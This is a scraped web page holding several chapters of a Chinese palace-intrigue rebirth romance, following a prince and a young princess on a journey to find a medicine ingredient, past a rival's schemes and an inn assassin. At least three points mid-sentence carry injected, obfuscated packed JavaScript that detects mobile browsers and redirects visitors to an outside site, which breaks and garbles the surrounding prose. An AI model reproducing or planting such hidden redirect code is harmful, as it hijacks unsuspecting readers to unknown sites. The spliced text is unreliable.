RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16799173|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 可眼下无凭无据，父皇就如此敲打萧谅，旁人看来，只是无故泄私愤，未能抓住要害，一举震慑，反而显得师出无名，落人口实，恐会打草惊蛇，让真正的祸心藏得更深。 “殿下，晋王殿下受罚了，咱们要不要去看一眼，帮着给求求情啊？”袁鸣知道萧征自幼和三哥关系最亲近，见他的表情也确实十分担心，不由得出声提议道。 “不必了，我们尽快出宫。”萧征转头继续向宫外走去。 他去有什么用？父皇正在气头上，而且烦透了他与三哥亲近。前世他识人不清，非要与萧谅交好，到头来，狡兔死，走狗烹，落得那样下场。 更何况，他如今可与萧谅年龄相仿，对着他那张脸，实在没法像当年做幼弟时一般，再说出些什么真挚的担心，挂怀之类的话来了。 马车才辘辘驶出城门不远，萧征就蹙起了眉，屈指敲了敲身侧的车壁。 “这马车怎么这么窄？”他狐疑地看向对面正襟危坐的袁鸣，“刚上车前，看着与寻常马车无异啊？” 袁鸣眼神飘忽，干笑两声：“嘿嘿，殿下，属下这不是寻思着…咱们这儿窄点儿，下面就宽点儿，郡主藏着能舒服点儿吗…” 萧征幡然醒悟，倒抽一口凉气：“难怪你方才拼命撺掇我先去看看三哥！”他猛地俯身，一把掀开了座位下的箱盖。 “再宽点儿也还是不舒服！”苏萦果然从里面爬了出来，一边揉着后腰，一边嘟着嘴抱怨：“我腿都麻了！” 萧征气得瞠目结舌：“袁鸣！上次就是你带她出来的！你别想涨月钱了！” “啊？殿下，不要啊！”袁鸣顿时哭丧起脸。 “我给你涨！”苏萦立刻小手一挥，豪气干云：“他给你涨多少？我出三倍！” 萧征瞪向她：“苏萦！你别胡闹！”随即又转向袁鸣，拿出主子的威仪恐吓道：“袁鸣！你信不信我现在就免了你的差事！” 袁鸣急道：“郡主，他要——” “你没了差事我也每月给你三倍月钱！”苏萦把胸脯拍的啪啪响。 袁鸣眼睛一亮，双手一摊，对萧征摆出一个无奈的表情：“没办法呀殿下，郡主给的实在太多了…” “好了！”萧征扶额，只觉得太阳穴突突直跳，“停车！袁鸣，你马上把郡主平安送回去！” “那个，殿下，我现在为郡主办事了，谁给钱我听谁的啊…”袁鸣向苏萦露出一个谄媚的笑容：“郡主，您说是这个理吧？” 萧征觉得自己像才捞上来的活螃蟹，要气得边张牙舞爪边叽里咕噜吐沫子。 “好啊好啊，你们‘主仆二人’现在就给我下车！” “那，郡主，咱们…”袁鸣在狭小的车厢中弓着背起身，拿不定主意。 苏萦却稳稳坐着，眨了眨眼，镇定地问：“我需要和袁侍卫一起下车吗？外面风景不错，跟着走走也好。” 萧征憋了半晌，最终还是无奈地叹了口气，认命般挥挥手：“……你留下。” “他不是真生气。”苏萦胜券在握地朝袁鸣一抬下巴：“袁侍卫，坐吧。” 袁鸣觑着萧征的脸色，见他虽然脸上还气呼呼的，倒也没有出言反对，这才敢小心翼翼地挨着边坐下，心里默默擦了一把汗：这差事当的，可真刺激啊…… 24. “我的人质。” 马车中，三人各守一隅，行了二三里路，也没人开口。 苏萦百无聊赖，掀开车帘朝外看。 “那日我托你的事，”萧征忽然在她身侧开口，声音不高，却打破了车内的沉寂：“你可帮我问过你父亲了？” “问过了，”苏萦的表情微不可察地顿了一下，放下车帘，转回脸时已是一脸轻松：“他说他也不知道。” “这天底下还有苏侯不知道的事？”萧征狐疑地眯起双眼，身体微微前倾，带着审视的意味：“那他有没有说，能不能打听得到？” “他说…说这都是江湖传闻，根本不存在的。”苏萦摊手耸肩：“不然，就像你说的，这天底下哪有他不知道的事呢？” 车上又陷入一片沉默。苏萦趁萧征移开目光，下意识地垂下眼，纤细的手指无意识地捻着自己袖口繁复的刺绣。 你就先这么信了吧。她在心里默默地对萧征说。 虽然，实情全然不是这么一回事。 十分反常的，苏萦去信问父亲后，父亲没有像往常一样，直接差人送东西过来，或是一封书信打发了她，而是早朝之后亲自过来与她见了一面。 阳光透过窗棂，在花厅的地面上投下斑驳的光影。苏侯笑嘻嘻地坐等女儿给他泡茶，先拈了几块小茶点吃得津津有味。 两人对视好几次，苏侯还无辜地看着她，好像今日就是专程来享受女儿承欢膝下的。 “嘶。”续了三回茶，苏萦终于没了耐心，把茶壶往桌上一掼，一挥手屏退了左右。 “爹，那到底是什么呀？搞得神神秘秘的。”苏萦最讨厌故弄玄虚，不满地噘起小嘴儿，走到父亲身边，扯了扯他的衣袖。 苏侯转过身，一抬眉毛，含笑的狐狸眼里满是狡黠：“你真想知道？” 苏萦点头如捣蒜，一双杏眼瞪得溜圆：“想！快说嘛！” 苏侯没有立刻回答，手指绕着杯沿转了一圈，似乎在权衡什么。片刻后，他才抬眼看她，还是那张玩味的笑脸：“你替爹办三件差事，爹就告诉你。” “啊？”苏萦一愣，随即跺了跺脚，撒娇甩赖道：“不能直说吗？跟亲女儿还讨价还价的！” “不行。”苏侯把眼一闭，头摇了两摇：“爹不能直说。你若同意，爹就把这第一件差事交代给你。” 苏萦眯起眼睛把父亲左看右看，半天也没看出点破绽来，知道这次是来真的了。她心里像是有只小猫在抓，好奇心彻底被勾了起来，只好妥协地撇撇嘴：“好吧好吧！我答应你就是了！” 苏侯见她答应，便招手让她附耳过来，俯身靠近：“那你还要跟爹保证，这些事，你只能自己偷偷的去做，除你我之外的任何人，都不能知道。” “啊？要我自己一个人做？”苏萦蹙起眉头，眼珠一转，下意识地想讨价还价：“那……” “你身边的侍女也不能知道。”苏侯打断她。 “她们都不能知道？”苏萦有些心慌，急道：“那……” “十七殿下更不能知道。” 啧。 有这么个好像会读心的爹真是烦死了。 苏萦气呼呼双手抱胸背过身去。 “你若做不到，此事就此作罢，你也不必再问。”苏侯气定神闲地盯着自家闺女天人交战的背影。 “不行！”苏萦刷地转过身来，把心一横：“自己做就自己做，我能行！” “好啊，爹预先祝你成功。”苏侯笑着从袖中拿出一只锦囊递过来：“一会儿等爹走了，自己打开看看。” 马车轻轻颠簸了一下，将苏萦从回忆中拽回，她悄悄捏了捏藏于袖中的锦囊，偷眼看了看身侧皱眉沉思的萧征。 “你到底跟出来干什么？”萧征余光瞥见她小动物似的鬼鬼祟祟，眼珠子骨碌骨碌乱转，心觉好笑：“来帮忙还是来添乱的？” “当然是来帮忙的了！”苏萦理直气壮：“我还是有点医术在身上的，你们肯定用得着我！” 萧征不置可否，只是抬起右手，小拇指指甲与指腹的交界处留着一道两分长的伤疤。 “那是…那是我那天紧张，手抖了嘛！”苏萦心虚地扬起声调，强词夺理道：“你就说是不是把你扎醒了？” 萧征也没反驳，只是看着她这副强撑起气势的小模样，无奈地微笑着徐徐点了两下头。 啧啧啧啧，这个纵容，这个宠溺哟！袁鸣心中暗道：殿下说不定真是让哪个老神仙给夺舍了，老点儿也好，老了会疼人啊！从前哪有这耐心，成天让我“甩掉郡主”“躲开郡主”，躲郡主跟躲瘟神似的… 袁鸣正兀自在心中感叹，苏萦突然又掀开车帘往后张望，开口道：“我的车来了。” “你自己还备车了？”萧征诧异。 “那是，才不跟你们挤这辆破车，手脚都伸展不开，坐得人腰酸背痛的。”苏萦嫌弃道：“我要回我车上睡一会儿。袁侍卫，帮我拿包袱。” “…哦，哦！”袁鸣忙不迭跟上，一掀车帘，看见后头那辆巨大高耸，雕饰繁复的宝马香车，不禁感叹：“嚯！殿下，咱们这辆车像郡主那辆生出来的似的。” “苏未晚！”萧征看得头疼，语气严肃起来：“我们这次是深入民间寻药引，行事贵在隐秘。你如此高调浮夸，太过惹眼，会惹祸上身的！” “放心，”苏萦轻飘飘地接上，唇边带着一丝狡黠的笑意：“我的车走另一条路，正好帮你们引开些不必要的眼光。” 说罢，便带着袁鸣朝她那辆豪华马车走去。 没多一会儿，有人掀帘上车，萧征正揉捏着太阳穴闭目养神，随口吩咐道：“告诉车夫，再往前行四五里，找个有驿站的地方甩掉她。” “甩掉谁啊？”车门前传来苏萦俏皮的声音。 “你，你没上车？”萧征吓得一激灵，不可置信地睁开双眼。 “袁侍卫上车了啊。”苏萦猫腰钻进马车，无辜地一歪头，竖起拇指得意地往后一指：“我的人质。” “胡闹！”萧征气结，把车帘一掀，见后面那辆马车已朝另一条岔路上扬长而去，认命地朝身后的板壁上一靠，仰头怀疑人生。 “你看你，又生气！”苏萦倒没事儿人似的，从包袱里掏出个水囊来笑眯眯地递给他：“旅途中舟车劳顿，本来就容易上火的！喝不喝桂花露？我自己调的，甜甜的。” 两人一路上倒也还算和谐。 苏萦没一会儿就歪在车座上睡着了，萧征怕她着凉，还脱下大氅来给她披在身上。 小姑娘的睡相安静乖巧，不打呼噜不说梦话，要是没在睡梦中把他一条腿当成抱枕捞过来枕着就更好了。 到了驿站，饮马休整，萧征先不着痕迹地挪出早已酥麻的腿，才蹑手蹑脚地下了车。 过了半天，那辆极惹眼的大车才不紧不慢地驶过来。 萧征上前一把掀开那辆马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16799174|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车的车帘，车上欢声笑语，袁鸣正被拉着和朱樱，苕荣，宗雀头三人打叶子牌呢。 袁鸣脸上贴满了长纸条，一见萧征，如蒙大赦，哭丧着脸道：“殿下，你可来了！都把我输昏头了！” “我看你也是昏头了！”萧征横了他一眼：“快跟我下车！” 蜜合坐的离车门最近，一见萧征，恭顺地起来行礼：“永宁王殿下。” “去看看你们郡主，”萧征还不忘对她吩咐：“把她接到这边来睡。” 袁鸣跟着萧征下了车，边撕下脸上的长纸条边还嘟囔着：“殿下，我看我娘子打牌跟玩儿似的，打一宿赢一宿，我怎么就没这天赋呢…” 见萧征自顾自地往前走，袁鸣小跑两步跟上：“殿下，我们那车的羊毛车垫又软又暖和，属下一会儿——” “你们那车？！”萧征本就憋着一肚子气，闻言更气得七窍生烟：“刚才我许你上她们的车了吗？” “殿下！”袁鸣马上摆出一副可怜相：“属下才帮郡主把包袱放下，那宗雀头一下就从后面拿麻袋套住我头，拿胳膊肘锁住我脖子…属下喊破了喉咙，没见殿下你来救我呀！属下只好——” “我的侍卫，打不过赏明宫一个小内侍？”萧征静静地看他表演，面无表情冷冷嘲讽。 “诶嘿嘿…”袁鸣心虚地笑笑，拇指和食指捏在一起：“属下的描述…有一点点夸张，与实情略有一点点小出入。” 袁鸣嘿嘿笑着比划，试图蒙混过关，萧征冷着脸愤愤往前走，目光不经意间扫过驿站角落，整个人骤然定住。 只见驿站旁那棵光秃秃的老槐树下，郭娑带着侍女宝冉才下了马车。两人皆作远行打扮，风尘仆仆，与平日宫中的华贵形象相去甚远。 萧征“刷”地转回头要往回走，袁鸣不知就里，站定惊讶道：“咦？殿下，前面那两位，是不是——” 偏巧在这当儿，郭娑也看见了他们，娉娉婷婷向他们走来，脸上适时露出一丝恰到好处的意外与欣喜。 “永宁王殿下，”郭娑微微屈膝行礼，声音温婉：“没想到能在此处巧遇。” 萧征的眉头几不可察地蹙了一下。他略一颔首，语气平和却带着审视：“郡主不在京中，为何会远行至此？” 郭娑轻轻叹了口气，眉宇间染上恰到好处的忧色，柔声解释道：“姑母前日刚刚临盆，虽是喜得千金，但姑母年岁稍长，产后甚是虚弱。娑儿心中焦虑，便想着出来寻访些民间滋补的方子或是药材，略尽孝心。行至此处，人困马乏，故而在此歇歇脚。” 萧征心中冷笑。自看清这女人的真面目，便觉她一向的说辞真是漏洞百出。但如今身份改换，二人陌路，无需细究，只是淡淡道：“原来如此。郡主有心了。” 一旁的袁鸣对此前风波一无所知，便顺着话头，满含纯粹的关切插嘴道：“郭郡主真是孝心可嘉！这荒郊野岭的，您二位女子出行，可得多加小心才是！” 说者无意，听者有心。郭娑两眼一亮，萧征心头一紧。 只见郭娑微微垂下眼帘，双手不安地交握在身前，声音里带着几分后怕与恳求：“袁侍卫所言极是…方才一路行来，确是有些忐忑。如今既在此巧遇殿下仪仗…”她抬起眼，目光恳切地望向萧征：“殿下此行想必是有要务，娑儿也不敢多加叨扰。只是…殿下能否允准，让我们主仆二人，远远跟随在车队之后，借殿下威仪，求得一路平安？” 25. “九倍月钱。” “那威仪不是他的，是我的！” 一个清亮的女声从萧征背后响起。 “郭姐姐，好巧啊！”苏萦语气亲热，笑吟吟地走上前来。 郭娑脸色微变，勉强维持着镇定：“不知华容郡主也在此。” “是啊，”苏萦与萧征并肩而立，笑容愈发天真无邪：“我也更没想到，姐姐也跟过来了。” 她目光转向郭娑身后的宝冉，语气关切得像在问候老朋友：“宝冉，你的手伤好了吗？” 宝冉下意识地将手往袖子里缩了缩，低着头恭敬回道：“多谢郡主当日赐药，已经全好了。” “是吗？”苏萦点点头，语调拉长，意有所指：“那以后更要多加小心啊！” 她不等郭娑回应，便亲热地挽起对方的胳膊，引着她走向那辆豪华马车，利落地安排道： “大车一会儿从大路走，我和殿下坐小车抄小道。郭姐姐，你的车可一定得跟紧了我的大车呀！要是一不小心掉了队，我怕仪仗的威仪没散的那么远，姐姐就借不到啦！” 郭娑一听萧征与他们不同路，心下一慌，刚想改口，奈何苏萦话密，容不得她开口，已热络地拍了拍车壁介绍起来：“我这车上吃的喝的，软垫衣裳，一应俱全。姐姐路上有什么需要的，尽管找他们讨就是，千万别客气。” 说着，她一一指过车上的侍从：“蜜合，朱樱，苕荣。”被点到名的侍女纷纷向郭娑行礼，神色平静。“那天宝冉随我进屋，都见过了。” 最后，她的指尖一点正在车前忙着搬东西的宗雀头：“雀头，我宫里的内侍。听说那天郭姐姐等宝冉的时候去后院散步啦？那肯定也见过了。” 郭娑的脸色变了变，挤出一个勉强的假笑来。 “你看，都是熟人，”苏萦笑容灿烂地两手一拍：“没什么不好意思开口的啊。” 郭娑听完，脸上青一阵白一阵，下意识地将求助的目光投向现场唯一可能制衡苏萦的萧征，声音带着一丝不易察觉的颤抖，惶惑道：“永宁王殿下，这……” 萧征面无表情，语气平淡地开了口：“郡主不必担心。华容车上那位内侍身手了得，连本王的侍卫都是他的手下败将。有他护卫，一定比跟在本王车后更为安全稳妥。” 袁鸣心情复杂地偷瞥了萧征一眼。 苏萦对萧征的配合十分满意，朝郭娑做了一个“请”的手势。 “郭姐姐，咱们快上车赶路吧。再耽搁下去，天可要黑了，路就更不好走了。” 郭娑也知道多说无益，只好僵硬地扯了扯嘴角，悻悻地往自己车前走去。 走到车前，见那一行人还都站在原地目送着她和宝冉。苏萦见她回头，忙朝她招招手，贴心提醒道：“郭姐姐看准了，可千万别跟错车啊！” 等那主仆二人上了车，苏萦才凑近蜜合附耳道：“朱樱也会驾车吧？让朱樱和雀头跟车夫轮换着，一路上别停，一直往远走，等我们办完了事给你传口信，你们再兜回来。” 蜜合心领神会，点了点头。 那边萧征和袁鸣早走到那辆寒碜的小车前，掀开车帘等着苏萦了。 “殿下，郭郡主他们能行吗？其实刚才——”袁鸣心虚地小声嘀咕，觉得自家这两位主子和郭郡主的玩笑开得有点大。 “她们两人的功夫，足以自保。”萧征沉吟片刻，忽然讳莫如深地一笑。 她前世若本就是这副假惺惺的样子，谁会对这样一个姿态扭捏的弱女子心动？前世安国军营中偶遇，她们两个趁夜从营中逃出，矫健得像两个女飞贼。如今襦裙一穿，大步都不敢迈，装得累不累？他嘴角不着痕迹地扯出一个苦笑，忆起前世种种，觉得真是可悲又苍凉。 雀头和苕荣跟着苏萦一起过来，给他们拿了羊毛垫子，貂绒斗篷，还有好多点心和茶水饮子。 袁鸣忙迎过去接，把大包小包的东西往车上放，打趣苏萦道：“郡主，您这出来一趟，把赏明宫都搬空了吧？” “我的赏明宫是搬不空的！”苏萦得意地晃着食指。 等把东西放妥当，各自上了车，晋王府的马车无奈地跟在大车后面走远了。 苏萦坐在舒适了许多的小车里，突然随口道：“你之前让我提防晋王，我还没在意。” 萧征瞥了袁鸣一眼，没应声。 “你什么时候发现他在监视你的动向的？”苏萦追问。 “谁，谁监视咱们动向了？”袁鸣一脸茫然，萧征欲言又止，苏萦不耐烦道：“哎呀，你别把他保护的太好了！” 袁鸣更茫然了：“啊？保护我吗？” “我们要出来寻药引的事，总不可能宫里人人皆知吧？”苏萦嫌弃地撇了撇嘴提示道：“晋王会让一个远道来的贵客出来给王妃寻药吗？好拙劣的借口。” “啊！”袁鸣恍然大悟，两手一拍，拔高了嗓门感叹：“哎哟，哎哟哎哟，我一点儿也没想到！那郭郡主看着柔柔弱弱的，这么深的城府！”瞥见苏萦的小脸上略有不爽，袁鸣忙补充道：“咱们郡主…这么灵光的脑瓜！” “那，殿下，晋王殿下是要对咱们不利呀？”袁鸣坐直了身子警觉道：“那咱们不能带着她们一起走了！” “哪有一起走，不是已经被咱们冰雪聪明的华容郡主支开了吗？”萧征微笑着抬眼看向苏萦。 “嘿嘿！”苏萦得意地双手抱胸，下巴一扬。 傍晚，马车行至附近镇上的一条繁华街道，苏萦掀开车帘看热闹，忽然眼睛一亮，朝窗外一指：“哎？那里有家香料铺子看着不错！停车，我要进去看看。” 萧征闻言，下意识便要起身陪同。 “坐下。”苏萦头也没回，却精准地朝他所在的方向一指，语气不容置疑。随即，却转回身笑吟吟地看向袁鸣：“我要袁侍卫陪我去。” 萧征错愕地僵在半途，无奈坐下，袁鸣错愕地起身：“啊？我陪您去吗？” “对，快来！”苏萦已利落地跳下马车。 门前的招牌上写着“凝香斋”三个巨大的墨字。年久日长，风吹日晒，字迹都有些黯淡了。 进得店门，苏萦摆出一副闲逛的样子，随意翻看，目光却悄然在货架间飞快扫过。 遍寻目标不着，她忽然眼尖地瞥见前面一位姑娘正要结账，手里拿的正是她要找的“青麟髓”墨锭！她心下一急，立刻挂上甜美无害的笑容追上前去。 “打扰姐姐，”她声音清脆，眉毛微蹙，脸上带着突然打扰的歉意：“姐姐手里拿的这墨真好看，是在哪里拿的？我刚在货架上没看到呢。” 那位姑娘见她生得可爱，态度也友善，便热心地为她指了方位：“在那边角落拿的，妹妹去看看吧，应该还有好些呢。” “多谢姐姐！”苏萦道了谢，目光正巧滑过对方手中的墨锭，忽然像是发现了什么，惊讶地轻呼：“诶？姐姐，你这块墨上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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掌柜的面露难色。 “一两。”苏萦报出一个远超墨锭本身价值的价格。 那掌柜的显然心动了一瞬，但最终还是苦着脸道：“这位贵客，真的不行。本店诚信为本，既已向那人许诺，凡发现此类错版，一概留着等他回收，实在不能……” 苏萦不等他说完，反手拍拍袁鸣，对他小声道：“袁鸣，拔刀。” 袁鸣一惊，环顾四周，为难地附耳道：“小姐，这不合适吧？这是民间铺子，恐吓百姓……” 苏萦低声催促：“快点快点！” 袁鸣犹豫着直晃脑袋：“不合适不合适……” 只见苏萦抬起右拳，然后簌地将食指单独勾起，用气声道：“九倍月钱。” “谁敢不卖东西给我们大小姐！” 袁鸣立时怒眼圆睁大喝一声，腰间长刀应声出鞘半尺，寒光凛冽，杀气腾腾。 那掌柜和伙计何曾见过这等阵仗，吓得“哎哟”一声，抱着头就猫腰缩进了柜台后面，连声求饶：“贵客息怒！我们卖！我们卖！” 苏萦得意地冷哼一声，用指尖敲了敲柜台：“几钱？” “…二钱！您给二钱就行！” “袁鸣，咱们走。”苏萦往柜上拍下二钱银子，拿了那块错版墨，扬长而去。 袁鸣赶紧收刀入鞘，收到一半还不忘回头，朝着柜台方向恶狠狠地瞪了一眼，下巴看人，咬牙耍狠，倒退着走到门口，才从这个忠心护主、蛮横无理的恶仆形象里出来，颠颠儿地跟上苏萦的脚步。 26. “大卸八块！” 趁袁鸣和苏萦进了凝香斋，萧征也随后下了马车，信步走向街对面一间人来人往的药铺。他于檐下负手而立，目光看似随意地扫过进出抓药的人群。正值换季，多半是染了风寒的百姓，所抓药材也无甚特别。 直到一位布衣女子出现在药铺门前，吸引了他的注意。 她形容憔悴，眉宇间锁着深重的愁苦，递上的药方，药材配伍赫然是调补心脉、固本培元的路子，与周遭治疗风寒的方子截然不同。 萧征心中一动，待她抓了药，拎着药包往回走时，悄然跟在了后面。 那女子并未归家，而是先走进当铺，片刻后出来，药包还在手上，发间却空荡荡的，头上唯一一根素银簪子不见了。她小心翼翼地提着药，穿街过巷，最终走进城南一片低矮的民居。 萧征不远不近地跟着，最终在一间歪斜的茅屋前停下。萧征在门外稍待了一会儿，抬起手来敲敲摇摇欲坠的板门。 萧征敲了几次，无人应门，倒有一股青烟从屋顶的烟囱上徐徐冒出来。女人可能在房中忙着生火，没有听到。 “娘！”一个稚嫩的声音响起。 “诶！茁儿要什么？”那女人的声音急促地回应。 “好像有人敲门。” 门这才打开了。那女人的脸都被烟熏黑，头发也毛了，用一根竹筷子胡乱绾着。见是个气度不凡，衣着华贵的年轻男人，不禁露出瑟缩而又提防的神色。 “贵人是——” “这位娘子，”萧征恭顺有礼道：“在下有事相求，可否进屋一叙？” 那女人的眼警惕地把他从上到下扫了一遍，犹疑地把他让进屋，却没有再带上门。 萧征疑惑地朝背后敞开的门看了一眼，随即就明白了她的意思。家里只有这女人和一个小孩子。 一间狭小却收拾得干净整洁的屋子，空气中弥漫着苦涩的药味。一个面色苍白、嘴唇泛着不祥紫绀的幼童正安静地躺在炕上玩耍，他的呼吸显得有些费力。 这孩子看着可不像有三岁。 萧征的目光扫过那孩童，心中一沉，可还是将来意如实相告：“在下此番前来，是替我家主人寻药引的。” 见这民妇满脸不解，他耐心解释道：“我家主人患了心疾，郎中说，需取熬煮草药三年未断火的药锅，刮其锅底灰为引。刚在药铺门前，在下注意到娘子抓的药，正与郎中所言相合。敢问娘子，家中药灶可已用了三年？” 妇人认真的听完，苦涩地摇了摇头：“没有，我这孩儿刚满二十六个月。不瞒贵人，这煮药的锅也时常停火。平日里我得出去帮工，还要去街上买药，茁儿虽然懂事，可他自己在家的时候，灶上生着火，总归不安全。” 萧征点了点头：“原来如此。您一个人操持家务，照料孩子，实属不易。您这孩子从何时开始吃药的？” 妇人局促地低下头去搓着手，羞赧地一笑：“若细论起来，那是自打他生下来就开始了。他从一生下来嘴唇就发紫。郎中说，孩子这先天的心疾，是从娘胎里带来的。民妇愚笨，就想着自己吃了药，化作奶水，或许能过些药气给孩子。可这法子，总不见奏效……” 她言语间充满了无尽的内疚，仿佛孩子孱弱的生命全是她的罪过。 萧征心痛地皱起眉头。板门被寒风吹得呼嗒呼嗒响，孩子也咳嗽起来了。 妇人立刻朝孩子看了一眼，想去关门又碍于这男子还在。 萧征也知道不能多留了。 他三言两语把想知道的事都确认清楚，知道她家确有遗传病史，丈夫一年前因此症过世。如今唯有一位她丈夫的叔父住在深山里，同样受此疾所苦，每半月才出山买一次药，家中的药灶，常年煮着药渣，听说是从未断过火，一定不止用了三年，保不齐有十年了。 萧征眼前一亮，当即有了目标，临走时取出银钱，想助她渡过难关。 那妇人却连连摆手，诚惶诚恐：“使不得！贵人！民妇没帮上您什么忙，怎敢受您的赏……” “拿着吧。”萧征将银子轻轻放在桌上，目光落在那气息微弱的孩子身上，语气温和，却带着一种不容拒绝的力量：“若这点银钱，能助这孩子顺利长大，便是为我家主人积福延寿了。” 他顿了顿，望向那妇人承诺：“若娘子信得过我，待我们办完事回来，带你们一同去京城，寻一位姓温的郎中。他医术高明，或许…能为这孩子的病想想办法。” 萧征原路返回，苏萦和袁鸣已在车前等了多时了。天黑前，三人寻到一家客栈落脚。 上楼进屋安置好行李，待房间里剩下她一个人，苏萦才从怀中掏出那块错版青麟髓和她父亲给的锦囊来。 锦囊中只有一张字条，上书： 凝香斋老字号 改“舛”为“失” 青麟髓一块 “为什么要让我买这么一块墨锭呢？”苏萦皱着眉头，将那墨锭用手帕垫着，拿在手里反复端详。 它好像确实是比其他的墨锭重一些。 苏萦福至心灵，从行李中找出精致的小凿子小锉刀，轻轻从墨锭背面敲开一点。 这里面是什么？她把碎屑小心地剔去，放在灯下一照一摸—— “是金子！蜜——”她下意识回头找蜜合，又赶忙自己捂住嘴生生截断话音，朝嘴上轻拍了几下小声嘀咕着叮嘱自己：“谁也不能说谁也不能说…” 多亏蜜合不在，要瞒的只有隔壁那两个人。她把那墨锭包好，塞在行李最深处，想了想，还是掏出来自己贴身揣着。 一阵夜风吹过脖颈，她打了个寒战。 “窗子怎的没关好？”她边抱怨边朝窗前走去。 离窗子十步远近，她突然停下脚，又发现了这屋子别的毛病。 “这客栈给的什么枕头啊？这么高这么硬怎么睡嘛！我得找他们伙计换一个去。” 她从床上拿起枕头抱在怀里，一径出了门。 一将房门带上，她脸上的慵懒和烦躁就瞬间褪去，脚步加快，三步并作两步跨到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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掌柜的捧着银子，看着萧征那波澜不惊却自带威压的脸，又瞥了一眼地上明显是练家子的刺客，哪里还敢多说半个字，连忙点头哈腰：“多谢客官！多谢客官为民除害！小的这就叫人去报官！” “这里也还是京师管辖的地界吧？”苏萦突然抢上前来，指着自己的胸口气哼哼地说：“报官的时候告诉衙门的人，这贼人要刺杀的是谁！是我，步军统领乔望津唯一的外甥女！让舅舅把他给我大卸八块！” “大小姐，大小姐，”袁鸣忙安抚她：“官兵还没来呢，还得留活口录口供，你别就把人吓死了。” 劝完苏萦，袁鸣小步挪到萧征身边，小小声地感叹：“郡主这气性可真够大的，这小狠话撂的…” 萧征把地上晕倒的人捆扎结实，抬头看了袁鸣一眼，幽幽道：“她不说狠话的。” 她一向说到做到。 前世有幸体验了一把“大卸八块”身上骨折多处到死还断着一只手的当事人对此表示深深的肯定。 27. “十七郎！” 官差押走贼人，掌柜的给另换了一间客房，距离天亮总还有几个时辰。 萧征瞥见苏萦神色还有些惴惴的，不无歉意地凑近她低声说道：“定是萧谅指使，冲着我来的。不知怎的找错了屋子，差点带累了你。” 冲着你来还是冲着这块金疙瘩来的还有待考证。 苏萦暗中腹诽：但你说是找你，那就是你吧。 她眼珠转了转，扁起小嘴做出一副可怜相：“哥哥我不敢自己睡了。” “今晚在我房里睡，我守着你。” 苏萦两眼一亮，忙让店伙给自己换了个软枕头，从行李里找出条丝绸大方巾包了，欣然在萧征的床上躺好了。 袁鸣自请在外面守夜，萧征劝他去隔壁歇息，明日一早还要进山，说那贼人身手不过尔尔，也不会是什么重金延请的武林高手。闹出这么大的动静，想必背后之人今晚也不会再派人来了。 劝走了袁鸣，他自己倒在床旁倚柱端坐，眼观六路，耳听八方，密切注意着窗前和门口的动静。 “绣球。” ？？？ 大型护卫犬茫然回头。 “你看那墙上的画，角落里有一筐绣球。”苏萦侧躺着，伸手指向床对面，浑然不觉地眨巴着眼睛。 “好了，快睡。”萧征压住心中愠怒：差点以为她把自己当狗了呢。 苏萦合上眼睛，翻来覆去半天，总睡不着，干脆坐起来，委屈道：“我不敢睡！” 她拥着被蹭到他身边，满眼希冀地小声道：“你讲故事给我听。” “我讲故事还怎么帮你守着？” “哥哥精力旺盛着呢！哪能因为讲故事就走神儿了？”她扯住他袖口晃着央求：“快讲快讲。” “从前，大朔有一位长公主。面首成群，日子过得荒银无度，声色犬马。”他略一沉吟，有一搭没一搭地信口讲起来：“面首太多了，她懒得记名字，就索性叫他们，四郎五郎六郎…” “十七郎！”苏萦顽皮地扬声唤。 “去！”他回手在她额头上敲了个栗子，却像被撞破了什么心事，耳根有些发热。 “五郎谄媚，六郎精壮，七郎会弹琴唱小曲儿——” “可是本宫，还是最宠爱什么都不会的十七郎。”她的音色突然变得魅惑而轻佻，本在床上拥着被好好坐着，突然水蛇似的把腰一挺跪起来，俯身到他面前，指尖轻抚他的脸。 “谁什么都不会，我——”他心乱如麻，猛地躲闪开，才发现自己主动跳进了她的圈套，羞恼地结巴道：“你，你这疯丫头！” 苏萦得逞，跌回床上得意地仰面大笑。 “你睡不睡！不睡我走了，不陪你了。”他慌乱地起身想逃开。 “不嘛不嘛，陪我！”她朝他伸长了两条胳膊撒娇耍赖，两只小手五指张开，像粉肉垫的猫爪当空抓着。 他的心好像真的被毛绒绒的猫爪蹭了一下。 她见他转身回来了，赶紧躺好，把胳膊收回被子里，两手搭在被子外沿，两眼一闭，以示自己乖乖睡觉的诚意。 十个指头，都用凤仙花染的粉艳艳的。 他盯着她的一双手发愣。 “年纪大了，用不得凤仙花了。”他眼前又浮现长公主的手，那双手并不显年纪，只是指甲换成了酽酽的棕红色。 要不然，下半夜你陪我？ 棕红色的指尖，好像已勾上他的下巴。 疯了。 不许想了。 他一怔，猛一甩头驱散这些想法。 眼前的两只小手安分地放着，唇瓣轻启，呼吸已舒缓而均匀。 萧征神情复杂地深深望了她一眼，起身出门去了。 次日天都大亮了，苏萦才从被窝里爬起来。 